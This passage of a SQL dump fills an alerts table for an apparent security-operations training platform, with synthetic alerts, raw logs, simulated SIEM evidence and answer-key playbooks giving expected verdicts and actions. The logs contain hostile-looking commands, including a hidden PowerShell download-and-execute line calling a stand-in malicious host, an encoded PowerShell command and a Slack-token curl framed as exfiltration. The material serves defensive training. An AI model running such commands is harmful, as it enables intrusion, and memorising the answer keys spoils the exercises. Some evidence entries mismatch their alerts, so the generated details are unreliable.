1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T13:42:17Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.50.30\\\",\\\"dst_ip\\\":\\\"N/A\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"server-12\\\",\\\"command_line\\\":\\\"powershell.exe -enc SQBTAFQAZwBlAHQALQBXAEkAbgBkAG8AdwAgAEEAZABkAGkAdABpAG8AbgBhAGwAIAAtAFQAbwBkAGEAeQApAA==\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.207Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T13:42:17Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.50.30\\\",\\\"dst_ip\\\":\\\"N/A\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"server-12\\\",\\\"command_line\\\":\\\"powershell.exe -enc SQBTAFQAZwBlAHQALQBXAEkAbgBkAG8AdwAgAEEAZABkAGkAdABpAG8AbgBhAGwAIAAtAFQAbwBkAGEAeQApAA==\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.207Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T13:42:17Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.50.30\\\",\\\"dst_ip\\\":\\\"N/A\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"server-12\\\",\\\"command_line\\\":\\\"powershell.exe -enc SQBTAFQAZwBlAHQALQBXAEkAbgBkAG8AdwAgAEEAZABkAGkAdABpAG8AbgBhAGwAIAAtAFQAbwBkAGEAeQApAA==\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.207Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T13:42:17Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.50.30\\\",\\\"dst_ip\\\":\\\"N/A\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"server-12\\\",\\\"command_line\\\":\\\"powershell.exe -enc SQBTAFQAZwBlAHQALQBXAEkAbgBkAG8AdwAgAEEAZABkAGkAdABpAG8AbgBhAGwAIAAtAFQAbwBkAGEAeQApAA==\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1755, 'False Positive: Network Scanner Misidentified as Brute Force', 'medium', 'Anomali', 'A network scanner was flagged as a brute force attack due to repetitive login attempts, but was later identified as a legitimate security scan.', 'Credential Attack', 'T1110', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T14:00:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"192.168.100.50\",\"dst_ip\":\"192.168.100.10\",\"username\":\"scanner\",\"hostname\":\"scanner-host\",\"request_body\":\"Failed_login_attempts: 25\"}', '2026-03-15 19:53:09', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.100.50\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal network scanner performing authorized security assessment\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The activity was part of a scheduled security scan, mistaken for a brute force attack.\"}', 'Advanced', 'TI', 7, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.217Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.100.50\\\",\\\"dst_ip\\\":\\\"192.168.100.10\\\",\\\"username\\\":\\\"scanner\\\",\\\"hostname\\\":\\\"scanner-host\\\",\\\"request_body\\\":\\\"Failed_login_attempts: 25\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.217Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.100.50\\\",\\\"dst_ip\\\":\\\"192.168.100.10\\\",\\\"username\\\":\\\"scanner\\\",\\\"hostname\\\":\\\"scanner-host\\\",\\\"request_body\\\":\\\"Failed_login_attempts: 25\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.217Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.100.50\\\",\\\"dst_ip\\\":\\\"192.168.100.10\\\",\\\"username\\\":\\\"scanner\\\",\\\"hostname\\\":\\\"scanner-host\\\",\\\"request_body\\\":\\\"Failed_login_attempts: 25\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.217Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.100.50\\\",\\\"dst_ip\\\":\\\"192.168.100.10\\\",\\\"username\\\":\\\"scanner\\\",\\\"hostname\\\":\\\"scanner-host\\\",\\\"request_body\\\":\\\"Failed_login_attempts: 25\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.217Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.100.50\\\",\\\"dst_ip\\\":\\\"192.168.100.10\\\",\\\"username\\\":\\\"scanner\\\",\\\"hostname\\\":\\\"scanner-host\\\",\\\"request_body\\\":\\\"Failed_login_attempts: 25\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1756, 'APT29 C2 Communication Detected via Slack', 'critical', 'Recorded Future', 'Detected communication with a known APT29 Command and Control server through Slack, indicating potential data exfiltration.', 'Data Exfil', 'T1102', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T03:45:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.10\",\"dst_ip\":\"104.16.59.37\",\"username\":\"jdoe\",\"hostname\":\"CORP-LAPTOP-01\",\"command_line\":\"curl -H \'Authorization: Bearer xoxb-1234567890-0987654321-abcdef\' https://slack.com/api/chat.postMessage\"}', '2026-03-15 19:55:05', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"104.16.59.37\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP associated with multiple APT29 C2 activities\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP of the compromised machine\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"curl -H \'Authorization: Bearer xoxb-1234567890-0987654321-abcdef\' https://slack.com/api/chat.postMessage\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Unusual Slack API usage detected\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The use of Slack as a C2 channel indicates advanced evasion techniques by APT29.\"}', 'Expert', 'TI', 9, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.227Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T03:45:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"104.16.59.37\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-LAPTOP-01\\\",\\\"command_line\\\":\\\"curl -H \'Authorization: Bearer xoxb-1234567890-0987654321-abcdef\' https://slack.com/api/chat.postMessage\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.227Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T03:45:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"104.16.59.37\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-LAPTOP-01\\\",\\\"command_line\\\":\\\"curl -H \'Authorization: Bearer xoxb-1234567890-0987654321-abcdef\' https://slack.com/api/chat.postMessage\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.227Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T03:45:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"104.16.59.37\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-LAPTOP-01\\\",\\\"command_line\\\":\\\"curl -H \'Authorization: Bearer xoxb-1234567890-0987654321-abcdef\' https://slack.com/api/chat.postMessage\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.227Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T03:45:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"104.16.59.37\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-LAPTOP-01\\\",\\\"command_line\\\":\\\"curl -H \'Authorization: Bearer xoxb-1234567890-0987654321-abcdef\' https://slack.com/api/chat.postMessage\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.227Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T03:45:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"104.16.59.37\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-LAPTOP-01\\\",\\\"command_line\\\":\\\"curl -H \'Authorization: Bearer xoxb-1234567890-0987654321-abcdef\' https://slack.com/api/chat.postMessage\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1757, 'Fileless Malware Execution via PowerShell', 'high', 'Anomali', 'Detected fileless malware execution using PowerShell on a critical server, indicative of APT41 activity.', 'Malware', 'T1086', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T07:22:13Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.2.25\",\"dst_ip\":\"\",\"username\":\"svc_backup\",\"hostname\":\"SERVER-DB01\",\"command_line\":\"powershell -nop -w hidden -c IEX (New-Object Net.WebClient).DownloadString(\'http://malicious.domain/payload\')\"}', '2026-03-15 19:55:05', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.2.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal server IP\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"powershell -nop -w hidden -c IEX (New-Object Net.WebClient).DownloadString(\'http://malicious.domain/payload\')\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Detected as a common pattern for fileless malware attacks\"}},{\"id\":\"artifact_3\",\"type\":\"domain\",\"value\":\"malicious.domain\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Domain flagged for hosting malware payloads\"}}],\"expected_actions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"APT41\'s use of fileless malware via PowerShell indicates sophisticated attack methods targeting critical infrastructure.\"}', 'Expert', 'TI', 9, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.229Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch.\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T07:22:13Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.25\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"svc_backup\\\",\\\"hostname\\\":\\\"SERVER-DB01\\\",\\\"command_line\\\":\\\"powershell -nop -w hidden -c IEX (New-Object Net.WebClient).DownloadString(\'http://malicious.domain/payload\')\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.229Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T07:22:13Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.25\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"svc_backup\\\",\\\"hostname\\\":\\\"SERVER-DB01\\\",\\\"command_line\\\":\\\"powershell -nop -w hidden -c IEX (New-Object Net.WebClient).DownloadString(\'http://malicious.domain/payload\')\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.229Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T07:22:13Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.25\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"svc_backup\\\",\\\"hostname\\\":\\\"SERVER-DB01\\\",\\\"command_line\\\":\\\"powershell -nop -w hidden -c IEX (New-Object Net.WebClient).DownloadString(\'http://malicious.domain/payload\')\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.229Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T07:22:13Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.25\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"svc_backup\\\",\\\"hostname\\\":\\\"SERVER-DB01\\\",\\\"command_line\\\":\\\"powershell -nop -w hidden -c IEX (New-Object Net.WebClient).DownloadString(\'http://malicious.domain/payload\')\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.229Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T07:22:13Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.25\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"svc_backup\\\",\\\"hostname\\\":\\\"SERVER-DB01\\\",\\\"command_line\\\":\\\"powershell -nop -w hidden -c IEX (New-Object Net.WebClient).DownloadString(\'http://malicious.domain/payload\')\\\"}\"}],\"query\":\"index=main source=\\\"/var/ossec/logs/alerts/alerts.json\\\" | head 100\"}}', 0),
(1758, 'Lazarus Group Spear-Phishing Attempt', 'critical', 'ThreatConnect', 'Received a spear-phishing email with a malicious URL, attributed to Lazarus Group, targeting executive staff.', 'Phishing', 'T1566.001', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T09:11:45Z\",\"event_type\":\"email_received\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"192.168.1.15\",\"username\":\"ceo@company.com\",\"hostname\":\"CEO-LAPTOP\",\"email_sender\":\"john.doe@trusted-partner.com\",\"request_body\":\"Dear CEO, please review the attached document: http://malicious-url.com/important.doc\"}', '2026-03-15 19:55:05', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"IP linked to previous phishing campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://malicious-url.com/important.doc\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"URL associated with malware distribution\"}},{\"id\":\"artifact_3\",\"type\":\"email\",\"value\":\"john.doe@trusted-partner.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Sender email used in spear-phishing attempts\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The use of a trusted partner\'s domain as a spoofed sender exemplifies Lazarus Group\'s sophisticated phishing techniques.\"}', 'Expert', 'TI', 9, 1, 'ENERGY', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.230Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:11:45Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"ceo@company.com\\\",\\\"hostname\\\":\\\"CEO-LAPTOP\\\",\\\"email_sender\\\":\\\"john.doe@trusted-partner.com\\\",\\\"request_body\\\":\\\"Dear CEO, please review the attached document: http://malicious-url.com/important.doc\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.230Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:11:45Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"ceo@company.com\\\",\\\"hostname\\\":\\\"CEO-LAPTOP\\\",\\\"email_sender\\\":\\\"john.doe@trusted-partner.com\\\",\\\"request_body\\\":\\\"Dear CEO, please review the attached document: http://malicious-url.com/important.doc\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.230Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:11:45Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"ceo@company.com\\\",\\\"hostname\\\":\\\"CEO-LAPTOP\\\",\\\"email_sender\\\":\\\"john.doe@trusted-partner.com\\\",\\\"request_body\\\":\\\"Dear CEO, please review the attached document: http://malicious-url.com/important.doc\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.230Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:11:45Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"ceo@company.com\\\",\\\"hostname\\\":\\\"CEO-LAPTOP\\\",\\\"email_sender\\\":\\\"john.doe@trusted-partner.com\\\",\\\"request_body\\\":\\\"Dear CEO, please review the attached document: http://malicious-url.com/important.doc\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.230Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:11:45Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"ceo@company.com\\\",\\\"hostname\\\":\\\"CEO-LAPTOP\\\",\\\"email_sender\\\":\\\"john.doe@trusted-partner.com\\\",\\\"request_body\\\":\\\"Dear CEO, please review the attached document: http://malicious-url.com/important.doc\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1759, 'Cozy Bear Lateral Movement Detected via WMI', 'high', 'MISP', 'Suspicious WMI activity detected between internal machines, indicating potential lateral movement by Cozy Bear.', 'Lateral Movement', 'T1047', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T11:30:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.1.1.5\",\"dst_ip\":\"10.1.1.10\",\"username\":\"admin\",\"hostname\":\"HR-SERVER\",\"command_line\":\"wmic /node:10.1.1.10 process call create \'cmd.exe /c whoami\'\"}', '2026-03-15 19:55:05', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.1.1.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Source IP of the suspicious activity\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.1.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Destination IP of the lateral movement\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"wmic /node:10.1.1.10 process call create \'cmd.exe /c whoami\'\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Usage of WMI for unauthorized command execution\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"Cozy Bear\'s use of WMI for lateral movement is consistent with their known TTPs for network infiltration.\"}', 'Expert', 'TI', 9, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.234Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:30:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.1.1.5\\\",\\\"dst_ip\\\":\\\"10.1.1.10\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"HR-SERVER\\\",\\\"command_line\\\":\\\"wmic /node:10.1.1.10 process call create \'cmd.exe /c whoami\'\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.234Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:30:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.1.1.5\\\",\\\"dst_ip\\\":\\\"10.1.1.10\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"HR-SERVER\\\",\\\"command_line\\\":\\\"wmic /node:10.1.1.10 process call create \'cmd.exe /c whoami\'\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.234Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:30:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.1.1.5\\\",\\\"dst_ip\\\":\\\"10.1.1.10\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"HR-SERVER\\\",\\\"command_line\\\":\\\"wmic /node:10.1.1.10 process call create \'cmd.exe /c whoami\'\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.234Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:30:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.1.1.5\\\",\\\"dst_ip\\\":\\\"10.1.1.10\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"HR-SERVER\\\",\\\"command_line\\\":\\\"wmic /node:10.1.1.10 process call create \'cmd.exe /c whoami\'\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.234Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:30:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.1.1.5\\\",\\\"dst_ip\\\":\\\"10.1.1.10\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"HR-SERVER\\\",\\\"command_line\\\":\\\"wmic /node:10.1.1.10 process call create \'cmd.exe /c whoami\'\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
